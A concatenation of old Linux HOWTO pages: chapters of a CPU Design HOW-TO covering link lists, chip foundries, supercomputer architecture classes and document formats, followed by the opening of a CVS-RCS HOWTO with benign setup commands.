The Impact of Transistors - How microprocessors affect our lives.

The binary function of transistors gives micro- processors the ability to perform many tasks; from simple word processing to video editing. Micro- processors have evolved to a point where transistors can execute hundreds of millions of instructions per second on a single chip. Automobiles, medical devices, televisions, computers and even the Space Shuttle use microprocessors. They all rely on the flow of binary information made possible by the transistor.


CPU Design HOW-TO: CPU Design and Architecture

 Next Previous Contents

4. CPU Design and Architecture

4.1 CPU Design

Visit the following links for information on CPU Design.

  • Hamburg University VHDL archive http://tech-www.informatik.uni-hamburg.de/vhdl
  • Kachina Design tools http://SAL.KachinaTech.COM/Z/1/index.shtml
  • List of FPGA-based Computing Machines http://www.io.com/~guccione/HW_list.html
  • SPARC International http://www.sparc.com
  • Design your own processor http://www.spacetimepro.com
  • Teaching Computer Design with FPGAs http://www.fpgacpu.org
  • Technical Committee on Computer Architecture http://www.computer.org/tab/tcca

  • Frequently Asked Questions FAQ on VHDL http://www.vhdl.org/vi/comp.lang.vhdl or it is at http://www.vhdl.org/comp.lang.vhdl
  • Comp arch FAQ http://www.esacademy.com/automation/faq.htm
  • Comp arch FAQ ftp://rtfm.mit.edu/pub/usenet-by-hierarchy/comp/arch
  • VME Bus FAQ http://www.hitex.com/automation/FAQ/vmefaq

  • Homepage of SPEC http://performance.netlib.org/performance/html/spec.html
  • Linux benchmarks http://www.silkroad.com/linux-bm.html

4.2 Online Textbooks on CPU Architecture

  • Online HTML book http://odin.ee.uwa.edu.au/~morris/CA406/CA_ToC.html
  • Univ of Texas Comp arch : http://www.cs.panam.edu/~meng/Course/CS4335/Notes/master/master.html
  • Number systems and Logic circuits : http://www.tpub.com/neets/book13/index.htm
  • Digital Logic: http://www.play-hookey.com/digital
  • FlipFlops: http://www.ece.utexas.edu/~cjackson/FlipFlops/web_pages/Publish/FlipFlops.html
  • Instruction Execution cycle: http://cq-pan.cqu.edu.au/students/timp1/exec.html
  • Truth Table constructor: http://pirate.shu.edu/~borowsbr/Truth/Truth.html
  • Overview of Shared Memory: http://www.sics.se/cna/mp_overview.html
  • Simulaneous Multi-threading in processors : http://www.cs.washington.edu/research/smt
  • Study Web : http://www.studyweb.com/links/277.html
  • Univ notes: http://www.ece.msstate.edu/~linder/Courses/EE4713/notes
  • Advice: An Adaptable and Extensible Distributed Virtual Memory Architecture http://www.gsyc.inf.uc3m.es/~nemo/export/adv-pdcs96/adv-pdcs96.html
  • Univ of Utah Avalanche Scalable Parallel Processor Project http://www.cs.utah.edu/avalanche/avalanche-publications.html
  • Distributed computing : http://www.geocities.com/SiliconValley/Vista/4015/pdcindex.html
  • Pisma Memory architecture: http://aiolos.cti.gr/en/pisma/pisma.html
  • Shared Mem Arch: http://www.ncsa.uiuc.edu/General/Exemplar/ARPA
  • Textbooks on Comp Arch: http://www.rdrop.com/~cary/html/computer_architecture.html#book and VLSI design http://www.rdrop.com/~cary/html/vlsi.html

  • Comp Arch Conference and Journals http://www.handshake.de/user/kroening/conferences.html
  • WWW Comp arch page http://www.cs.wisc.edu/~arch/www

4.3 University Lecture notes on CPU Architecture

  • Advanced Computer Architecture http://www.cs.utexas.edu/users/dahlin/Classes/GradArch
  • Computer architecture - Course level 415 http://www.diku.dk/teaching/2000f/f00.415
  • MIT: http://www.csg.lcs.mit.edu/6.823
  • UBC CPU slides : http://www.cs.ubc.ca/spider/neufeld/courses/cs218/chapter8/index.htm
  • Purdue Univ slides: http://www.ece.purdue.edu/~gba/ee565/Sessions/S03HTML/index.htm
  • Rutgers Univ - Principles of Comp Arch : http://www.cs.rutgers.edu/~murdocca/POCA/Chapter02.html
  • Brown Univ - http://www.engin.brown.edu/faculty/daniels/DDZO/cmparc.html
  • Univ of Sydney - Intro Digital Systems : http://www.eelab.usyd.edu.au/digital_tutorial/part3
  • Bournemouth Univ, UK Principles of Computer Systems : http://ncca.bournemouth.ac.uk/CourseInfo/BAVisAn/Year1/CompSys
  • Parallel Virtual machine: http://www.netlib.org/pvm3/book/node1.html
  • univ center: http://www.eecs.lehigh.edu/~mschulte/ece401-99
  • univ course: http://www.cs.utexas.edu/users/fussell/cs352
  • Examples of working VLSI circuits(in Greek) http://students.ceid.upatras.gr/~gef/projects/vlsi

4.4 CPU Architecture

Visit the following links for information on CPU architecture

  • Comp architecture: http://www.rdrop.com/~cary/html/computer_architecture.html and VLSI design http://www.rdrop.com/~cary/html/vlsi.html
  • Beyond RISC - The Post-RISC Architecture http://www.cps.msu.edu/~crs/cps920
  • Beyond RISC - PostRISC : http://www.ceng.metu.edu.tr/~e106170/postrisc.html
  • List of CPUS http://einstein.et.tudelft.nl/~offerman/cl.contents2.html
  • PowerPC Arch http://www.mactech.com/articles/mactech/Vol.10/10.08/PowerPcArchitecture
  • CPU Info center - List of CPUs sparc, arm etc.. http://bwrc.eecs.berkeley.edu/CIC/tech
  • cpu arch intel IA 64 http://developer.intel.com/design/ia-64
  • Intel 386 CPU architecture http://www.delorie.com/djgpp/doc/ug/asm/about-386.html
  • Freedom CPU architecture http://f-cpu.tux.org/original/Freedom.php3
  • Z80 CPU architecture http://www.geocities.com/SiliconValley/Peaks/3938/z80arki.htm
  • CRIMSEN OS and teaching-aid CPU http://www.dcs.gla.ac.uk/~ian/project3/node1.html
  • Assembly Language concepts http://www.cs.uaf.edu/~cs301/notes/Chapter1/node1.html
  • Alpha CPU architecture http://www.linux3d.net/cpu/CPU/alpha/index.shtml
  • http://hugsvr.kaist.ac.kr/~exit/cpu.html
  • Tron CPU architecture http://tronweb.super-nova.co.jp/tronvlsicpu.html

4.5 Usenet Newsgroups for CPU design

  • Newsgroup computer architecture news:comp.arch
  • Newsgroup FPGA news:comp.arch.fpga
  • Newsgroup Arithmetic news:comp.arch.arithmetic
  • Newsgroup Bus news:comp.arch.bus
  • Newsgroup VME Bus news:comp.arch.vmebus
  • Newsgroup embedded news:comp.arch.embedded
  • Newsgroup embedded piclist news:comp.arch.embedded.piclist
  • Newsgroup storage news:comp.arch.storage
  • Newsgroup VHDL news:comp.lang.vhdl
  • Newsgroup Computer Benchmarks news:comp.benchmarks


CPU Design HOW-TO: Fabrication, Manufacturing CPUs

 Next Previous Contents

5. Fabrication, Manufacturing CPUs

After doing the design and testing of CPU, your company may want to mass produce the CPUs. There are many "semi-conductor foundries" in the world who will do that for you for a nominal competetive cost. There are companies in USA, Germany, UK, Japan, Taiwan, Korea and China.

TMSC (Taiwan) is the "largest independent foundry" in the world. You may want to shop around and you will get the best rate for a very high volume production (greater than 100,000 CPU units).

5.1 Foundry Business is in Billions of dollars!!

Foundry companies invested very heavily in the infra-structure and building plants runs in several millions of dollars! Silicon foundry business will grow from $7 billion to $36 billion by 2004 (414% increase!!). More integrated device manufacturers (IDMs) opt to outsource chip production verses adding wafer-processing capacity.

Independent foundries currently produce about 12% of the semiconductors in the world, and by 2004, that share will more than double to 26%.

The "Big Three" pure-play foundries in the whole world are:

  1. Taiwan Semiconductor Manufacturing Co. (TSMC)
  2. United Microelectronics Corp. (UMC)
  3. Chartered Semiconductor Manufacturing Ltd. Pte.
These three companies collectively account for 69% of today's silicon foundry volume, but their share is expected to grow to 88% by 2004. These percentages exclude those companies which are not "pure-play foundries" like Intel, IBM and others who have in-house foundries for self-production of wafers.

5.2 Fabrication of CPU

There are hundreds of foundries in the world (too numerous to list). Some of them are -

  • Fabless Semiconductor Association http://www.fsa.org
  • TSMC (Taiwan Semi-conductor Manufacturing Co) http://www.tsmc.com, about co http://www.tsmc.com/about/index.html
  • Chartered Semiconductor Manufacturing, Singapore http://www.csminc.com
  • United Microelectronics Corp. (UMC) http://www.umc.com/index.html
  • Advanced BGA Packing http://www.abpac.com
  • Amcor, Arizona http://www.amkor.com
  • Elume, USA http://www.elume.com
  • X-Fab, Gesellschaft zur Fertigung von Wafern mbH, Erfurt, Germany http://www.xfab.com
  • IBM corporation, (Semi-conductor foundry div) http://www.ibm.com
  • National Semi-conductor Co, Santa Clara, USA http://www.natioanl.com
  • Tower Semiconductor, San Jose, USA http://www.towersemi.com
  • Intel corporation (Semi-conductor foundries), USA http://www.intel.com
  • Hitachi Semi-conductor Co, Japan http://www.hitachi.com
  • FUJITSU limited, Japan has Wafer-foundry-services
  • Mitsubhishi Semi-conductor Co, Japan
  • Hyandai Semi-conductor, Korea http://www.hea.com
  • Samsumg Semi-conductor, Korea
  • Atmel, France http://www.atmel-wm.com
If you know any major foundries, let me know I will add to list.

List of CHIP foundry companies

  • Chip directory http://www.xs4all.nl/~ganswijk/chipdir/make/foundry.htm
  • Chip makers http://www.xs4all.nl/~ganswijk/chipdir/make/index.htm
  • IC manufacturers http://www.xs4all.nl/~ganswijk/chipdir/c/a.htm


CPU Design HOW-TO: Super Computer Architecture

 Next Previous Contents

6. Super Computer Architecture

For building Super computers, the trend that seems to emerge is that most new systems look as minor variations on the same theme: clusters of RISC-based Symmetric Multi-Processing (SMP) nodes which in turn are connected by a fast network. Consider this as a natural architectural evolution. The availability of relatively low-cost (RISC) processors and network products to connect these processors together with standardised communication software has stimulated the building of home-brew clusters computers as an alternative to complete systems offered by vendors.

Visit the following sites for Super Computers -

  • Top 500 super computers http://www.top500.org/ORSC/2000
  • National Computing Facilities Foundation http://www.nwo.nl/ncf/indexeng.htm
  • Linux Super Computer Beowulf cluster http://www.linuxdoc.org/HOWTO/Beowulf-HOWTO.html
  • Extreme machines - beowulf cluster http://www.xtreme-machines.com
  • System architecture description of the Hitachi SR2201 http://www.hitachi.co.jp/Prod/comp/hpc/eng/sr1.html
  • Personal Parallel Supercomputers http://www.checs.net/checs_98/papers/super

6.1 Main Architectural Classes

Before going on to the descriptions of the machines themselves, it is important to consider some mechanisms that are or have been used to increase the performance. The hardware structure or architecture determines to a large extent what the possibilities and impossibilities are in speeding up a computer system beyond the performance of a single CPU. Another important factor that is considered in combination with the hardware is the capability of compilers to generate efficient code to be executed on the given hardware platform. In many cases it is hard to distinguish between hardware and software influences and one has to be careful in the interpretation of results when ascribing certain effects to hardware or software peculiarities or both. In this chapter we will give most emphasis to the hardware architecture. For a description of machines that can be considered to be classified as "high-performance".

Since many years the taxonomy of Flynn has proven to be useful for the classification of high-performance computers. This classification is based on the way of manipulating of instruction and data streams and comprises four main architectural classes. We will first briefly sketch these classes and afterwards fill in some details when each of the classes is described.

6.2 SISD machines

These are the conventional systems that contain one CPU and hence can accommodate one instruction stream that is executed serially. Nowadays many large mainframes may have more than one CPU but each of these execute instruction streams that are unrelated. Therefore, such systems still should be regarded as (a couple of) SISD machines acting on different data spaces. Examples of SISD machines are for instance most workstations like those of DEC, Hewlett-Packard, and Sun Microsystems. The definition of SISD machines is given here for completeness' sake. We will not discuss this type of machines in this report.

6.3 SIMD machines

Such systems often have a large number of processing units, ranging from 1,024 to 16,384 that all may execute the same instruction on different data in lock-step. So, a single instruction manipulates many data items in parallel. Examples of SIMD machines in this class are the CPP DAP Gamma II and the Alenia Quadrics.

Another subclass of the SIMD systems are the vectorprocessors. Vectorprocessors act on arrays of similar data rather than on single data items using specially structured CPUs. When data can be manipulated by these vector units, results can be delivered with a rate of one, two and --- in special cases --- of three per clock cycle (a clock cycle being defined as the basic internal unit of time for the system). So, vector processors execute on their data in an almost parallel way but only when executing in vector mode. In this case they are several times faster than when executing in conventional scalar mode. For practical purposes vectorprocessors are therefore mostly regarded as SIMD machines. Examples of such systems is for instance the Hitachi S3600.

6.4 MISD machines

Theoretically in these type of machines multiple instructions should act on a single stream of data. As yet no practical machine in this class has been constructed nor are such systems easily to conceive. We will disregard them in the following discussions.

6.5 MIMD machines

These machines execute several instruction streams in parallel on different data. The difference with the multi-processor SISD machines mentioned above lies in the fact that the instructions and data are related because they represent different parts of the same task to be executed. So, MIMD systems may run many sub-tasks in parallel in order to shorten the time-to-solution for the main task to be executed. There is a large variety of MIMD systems and especially in this class the Flynn taxonomy proves to be not fully adequate for the classification of systems. Systems that behave very differently like a four-processor NEC SX-5 and a thousand processor SGI/Cray T3E fall both in this class. In the following we will make another important distinction between classes of systems and treat them accordingly.

Shared memory systems

Shared memory systems have multiple CPUs all of which share the same address space. This means that the knowledge of where data is stored is of no concern to the user as there is only one memory accessed by all CPUs on an equal basis. Shared memory systems can be both SIMD or MIMD. Single-CPU vector processors can be regarded as an example of the former, while the multi-CPU models of these machines are examples of the latter. We will sometimes use the abbreviations SM-SIMD and SM-MIMD for the two subclasses.

Distributed memory systems

In this case each CPU has its own associated memory. The CPUs are connected by some network and may exchange data between their respective memories when required. In contrast to shared memory machines the user must be aware of the location of the data in the local memories and will have to move or distribute these data explicitly when needed. Again, distributed memory systems may be either SIMD or MIMD. The first class of SIMD systems mentioned which operate in lock step, all have distributed memories associated to the processors. As we will see, distributed-memory MIMD systems exhibit a large variety in the topology of their connecting network. The details of this topology are largely hidden from the user which is quite helpful with respect to portability of applications. For the distributed-memory systems we will sometimes use DM-SIMD and DM-MIMD to indicate the two subclasses. Although the difference between shared- and distributed memory machines seems clear cut, this is not always entirely the case from user's point of view. For instance, the late Kendall Square Research systems employed the idea of "virtual shared memory" on a hardware level. Virtual shared memory can also be simulated at the programming level: A specification of High Performance Fortran (HPF) was published in 1993 which by means of compiler directives distributes the data over the available processors. Therefore, the system on which HPF is implemented in this case will look like a shared memory machine to the user. Other vendors of Massively Parallel Processing systems (sometimes called MPP systems), like HP and SGI/Cray, also are able to support proprietary virtual shared-memory programming models due to the fact that these physically distributed memory systems are able to address the whole collective address space. So, for the user such systems have one global address space spanning all of the memory in the system. We will say a little more about the structure of such systems in the ccNUMA section. In addition, packages like TreadMarks provide a virtual shared memory environment for networks of workstations.

6.6 Distributed Processing Systems

Another trend that has came up in the last few years is distributed processing. This takes the DM-MIMD concept one step further: instead of many integrated processors in one or several boxes, workstations, mainframes, etc., are connected by (Gigabit) Ethernet, FDDI, or otherwise and set to work concurrently on tasks in the same program. Conceptually, this is not different from DM-MIMD computing, but the communication between processors is often orders of magnitude slower. Many packages to realise distributed computing are available. Examples of these are PVM (st anding for Parallel Virtual Machine), and MPI (Message Passing Interface). This style of programming, called the "message passing" model has becomes so much accepted that PVM and MPI have been adopted by virtually all major vendors of distributed-memory MIMD systems and even on shared-memory MIMD systems for compatibility reasons. In addition there is a tendency to cluster shared-memory systems, for instance by HiPPI channels, to obtain systems with a very high computational power. E.g., the NEC SX-5, and the SGI/Cray SV1 have this structure. So, within the clustered nodes a shared-memory programming style can be used while between clusters message-passing should be used.

6.7 ccNUMA machines

As already mentioned in the introduction, a trend can be observed to build systems that have a rather small (up to 16) number of RISC processors that are tightly integrated in a cluster, a Symmetric Multi-Processing (SMP) node. The processors in such a node are virtually always connected by a 1-stage crossbar while these clusters are connected by a less costly network.

This is similar to the policy mentioned for large vectorprocessor ensembles mentioned above but with the important difference that all of the processors can access all of the address space. Therefore, such systems can be considered as SM-MIMD machines. On the other hand, because the memory is physically distributed, it cannot be guaranteed that a data access operation always will be satisfied within the same time. Therefore such machines are called ccNUMA systems where ccNUMA stands for Cache Coherent Non-Uniform Memory Access. The term "Cache Coherent" refers to the fact that for all CPUs any variable that is to be used must have a consistent value. Therefore, is must be assured that the caches that provide these variables are also consistent in this respect. There are various ways to ensure that the caches of the CPUs are coherent. One is the snoopy bus protocol in which the caches listen in on transport of variables to any of the CPUs and update their own copies of these variables if they have them. Another way is the directory memory, a special part of memory which enables to keep track of the all copies of variables and of their validness.

For all practical purposes we can classify these systems as being SM-MIMD machines also because special assisting hardware/software (such as a directory memory) has been incorporated to establish a single system image although the memory is physically distributed.


CPU Design HOW-TO: Neural Network Processors

 Next Previous Contents

7. Neural Network Processors

NNs are models of biological neural networks and some are not, but historically, much of the inspiration for the field of NNs came from the desire to produce artificial systems capable of sophisticated, perhaps "intelligent", computations similar to those that the human brain routinely performs, and thereby possibly to enhance our understanding of the human brain.

Most NNs have some sort of "training" rule whereby the weights of connections are adjusted on the basis of data. In other words, NNs "learn" from examples (as children learn to recognize dogs from examples of dogs) and exhibit some capability for generalization beyond the training data.

NNs normally have great potential for parallelism, since the computations of the components are largely independent of each other. Some people regard massive parallelism and high connectivity to be defining characteristics of NNs, but such requirements rule out various simple models, such as simple linear regression (a minimal feedforward net with only two units plus bias), which are usefully regarded as special cases of NNs.

Some definitions of Neural Network (NN) are as follows:

  • According to the DARPA Neural Network Study : A neural network is a system composed of many simple processing elements operating in parallel whose function is determined by network structure, connection strengths, and the processing performed at computing elements or nodes.
  • According to Haykin: A neural network is a massively parallel distributed processor that has a natural propensity for storing experiential knowledge and making it available for use. It resembles the brain in two respects:
    • Knowledge is acquired by the network through a learning process.
    • Interneuron connection strengths known as synaptic weights are used to store the knowledge.
  • According to Nigrin: A neural network is a circuit composed of a very large number of simple processing elements that are neurally based. Each element operates only on local information. Furthermore each element operates asynchronously; thus there is no overall system clock.
  • According to Zurada: Artificial neural systems, or neural networks, are physical cellular systems which can acquire, store, and utilize experiential knowledge.

Visit the following sites for more info on Neural Network Processors

  • Omers Neural Network pointers http://www.cs.cf.ac.uk/User/O.F.Rana/neural.html
  • FAQ site ftp://ftp.sas.com/pub/neural/FAQ.html
  • Automation corp Neural Network Processor hardware


CPU Design HOW-TO: Related URLs

 Next Previous Contents

8. Related URLs

Visit following locators which are related -

  • Color Vim editor http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html
  • Source code control system http://metalab.unc.edu/LDP/HOWTO/CVS-HOWTO.html
  • Linux goodies main site http://www.milkywaygalaxy.freeservers.com and mirrors at http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


CPU Design HOW-TO: Other Formats of this Document

 Next Previous Contents

9. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

9.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

9.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

9.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

9.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


CPU Design HOW-TO: Copyright

 Next Previous Contents

10. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should intimate all the authors of this document.


CVS-RCS-HOWTO Document for Linux (Source Code Control System)

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v22.3, 2002-03-08

This document is a "practical guide" to very quickly setup CVS/RCS source code control system. This document has custom shell scripts that are wrappers on top of CVS. These scripts provide an easy user interface for CVS. Several shell scripts are provided to make RCS easier to use. The information in this document applies to Linux and as well as to all other flavors of Unix liks Solaris, HPUX, AIX, SCO, Sinix, BSD, SCO, Apple Macintosh (which is BSD unix) etc.. and BeOS.

1. Introduction

2. Which One Is for Me? CVS or RCS

3. Setting up CVS

  • 3.1 Environment variables
  • 3.2 Migrate RCS to CVS

4. Intro to CVS Commands

  • 4.1 checkout
  • 4.2 update
  • 4.3 add
  • 4.4 remove
  • 4.5 commit
  • 4.6 diff
  • 4.7 Emacs Editor

5. Strong, Weak or No Locking

6. Shell Scripts

7. CVS Documentation

  • 7.1 Online Documentation
  • 7.2 CVS Org Documentation
  • 7.3 CVS Training

8. Graphical Front Ends

9. CVS for MS Windows 95/98/NT/2000

  • 9.1 CVS exe for Windows 95/NT/2000
  • 9.2 Windows 95/NT/2000 FTP Tools
  • 9.3 Visual Cafe(Java), JBuilder, MS Visual C++, HTML files
  • 9.4 Samba Admin tool

10. Security of CVS Repository

11. Multi-User CVS Remote Repository

12. RCS Shell Scripts

  • 12.1 cotree.sh
  • 12.2 cofiles.sh
  • 12.3 ciall.sh

13. Performance Tuning of a CVS Server

14. Problem Reporting System

15. Configuration Management System Tools

16. Related Sites

17. SCCS v/s CVS-RCS

18. Other Formats of this Document

  • 18.1 Acrobat PDF format
  • 18.2 Convert Linuxdoc to Docbook format
  • 18.3 Convert to MS WinHelp format
  • 18.4 Reading various formats

19. Copyright and License

20. sget

21. sedit

22. scommit

23. supdate

24. sunlock

25. slist

26. sinfo

27. slog

28. sdif

29. sadd

30. sdelete

31. sfreeze


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

A source code control system is a MUST to manage the changes occurring to a software project during development. Developers need a complete history of changes to backtrack to previous versions in case of any problems. Since source code is the most vital component of any software project and software development takes a huge amount of time and money, it is very important to spend some time in safe-guarding the source code by using source code control systems like CVS and RCS.

CVS (Concurrent Version Control System) is a powerful tool which allows concurrent development of software by multiple users. It uses RCS underneath and has an application layer interface as a wrapper on top of RCS.

CVS can record the history of your files (usually, but not always, source code). CVS only stores the differences between versions, instead of every version of every file you've ever created. CVS also keeps a log of who, when and why changes occurred, among other aspects.

CVS is very helpful for managing releases and controlling the concurrent editing of source files among multiple authors. Instead of providing version control for a collection of files in a single directory, CVS provides version control for a hierarchical collection of directories consisting of revision controlled files.

These directories and files can then be combined to form a software release.

CVS can be used for storing "C", "C++", Java, Perl, HTML and other files.

HISTORY of CVS: CVS is a very highly sophisticated and complex system. It is the "State of the Art" technology and is so called "software miracle". The CVS software is a very advanced and capable system developed over a very long period of time. And it took several years to mature!!. It tooks about 20 to 30 years of research to develop CVS algorithms and later coding it into a software. And even today, it is still evolving!!

CVS algorithms actually started in Universities several decades ago and CVS implementation started out as a bunch of shell scripts written by Dick Grune, who posted it to the newsgroup comp.sources.unix in the volume 6 release of December, 1986. While no actual code from these shell scripts is present in the current version of CVS much of the CVS conflict resolution algorithms come from them. In April, 1989, Brian Berliner designed and coded CVS. Jeff Polk later helped Brian with the design of the CVS module and vendor branch support.

And today each and every major software development project in the world is written using CVS as the safe repository. As good old software hats say - "You are in very safe hands, if you are using CVS !!!"


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Which One Is for Me? CVS or RCS

 Next Previous Contents

2. Which One Is for Me? CVS or RCS

CVS actually uses RCS underneath. CVS is a lot more powerful tool and can control a complete source code tree. It is very strongly recommended that you use CVS, because you can greatly customize CVS with scripting languages like PERL, Korn and bash shells. See the sample korn shell scripts at Shell Scripts .

Advantages of CVS:

  • CVS is decentralised so a user checks out files/directories from the repostitory and have his own separate stable source directory tree.
  • CVS can "STAMP" releases of an entire project source tree.
  • CVS can enable concurrent editing of files.
  • CVS can be greatly customized to enable strong locking of files via shell scripts or PERL scripts. CVS supports weak locking with the command 'cvs watches' and also no locking permitting concurrent editing of files.

Disadvantages of CVS:

  • Needs a little more administration than RCS.
  • Very highly sophisticated and complex system. It is "State of the Art" technology. The cvs software is a very advanced and capable system developed over a very long period of time (it took several years!!). It tooks about 20 to 30 years of research to develop CVS and it is still evolving!!
  • Has a large number of commands and command options, hence a steeper learning curve for beginners. The shell scripts at Shell Scripts can ease usage.

Advantages of RCS:

  • RCS is very simple to setup, with less administrative work.
  • RCS is used in a centralized area where everyone works.
  • RCS is useful for simple systems.
  • Very strong locking of files - concurrency eliminated.

Downside of RCS:

  • Concurrent development by multiple developers is not possible due to file locking and being limited to a single working directory. Because of the single working directory limitation, changes to files by multiple developers can cause failure of the 'make' command.
  • Cannot stamp releases of an entire software project.

This document also has shell scripts which provide simple commands to check-out, check-in, and commit files. See shell scripts at Shell Scripts

For RCS see the RCS mini-howto on the Linux cdrom:

cd /mnt/cdrom/Redhat/RPMS
ls -l howto-6.0-*.noarch.rpm
rpm -qpl howto-6* | grep -i rcs
or visit http://www.LinuxDoc.org/HOWTO/mini/RCS.html

See also the RCS shell scripts at rcs_scripts


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Setting up CVS

 Next Previous Contents

3. Setting up CVS

First you need to install the CVS package. On Redhat Linux use:

cd /mnt/cdrom/Redhat/RPMS
rpm -i rcs*.rpm
rpm -i cvs*.rpm
To see the list of files installed do -
rpm -qpl cvs*.rpm | less
and browse the output using j,k, CTRL+f, CTRL+D, CTRL+B, CTRL+U or using arrow keys, page up/down keys. See 'man less'.

On other flavors of Unix, you may need to download the RCS and CVS tar balls and follow the README, INSTALL files to setup CVS. Visit http://www.cyclic.com and http://www.loria.fr/~molli/cvs-index.html

3.1 Environment variables

The following environment variables need to be setup in /etc/profile - default values required for all users. If not set in /etc/profile, then you should add these to your local profile file /.bash_profile.

export EDITOR=/bin/vi
export CVSROOT=/home/cvsroot
export CVSREAD=yes
And of course, individual users can override the environment variables set in /etc/profile by resetting them in their local profile file /.bash_profile
# File ~/.bash_profile
# Overriding env variables by resetting
export EDITOR=/usr/bin/emacs
export CVSROOT=/home/anotherdir/java/cvsroot

Create a directory to store the source code repository and give read, write access to Unix group/user. Also make sure that the directory name of CVSROOT does not contain any blank spaces. For example CVSROOT should not be like '/home/my rootcvs'.

bash$ su - root
bash# export CVSROOT=/home/cvsroot
bash# groupadd --help
bash# groupadd cvs
bash# useradd --help
bash# useradd -g cvs -d /home/cvsroot cvs

bash# ls -ld $CVSROOT   ... (you should see the listing)
bash# chgrp -R cvs $CVSROOT
bash# chmod o-rwx $CVSROOT
bash# chmod ug+rwx $CVSROOT

#To initialize the CVS repository and to put in source code files do:
bash# cvs init

# Add the unix users to the cvs group. Create supplementary groups for users.
# Note that you MUST not put any blank spaces after comma seperating the
# group names in -G option.
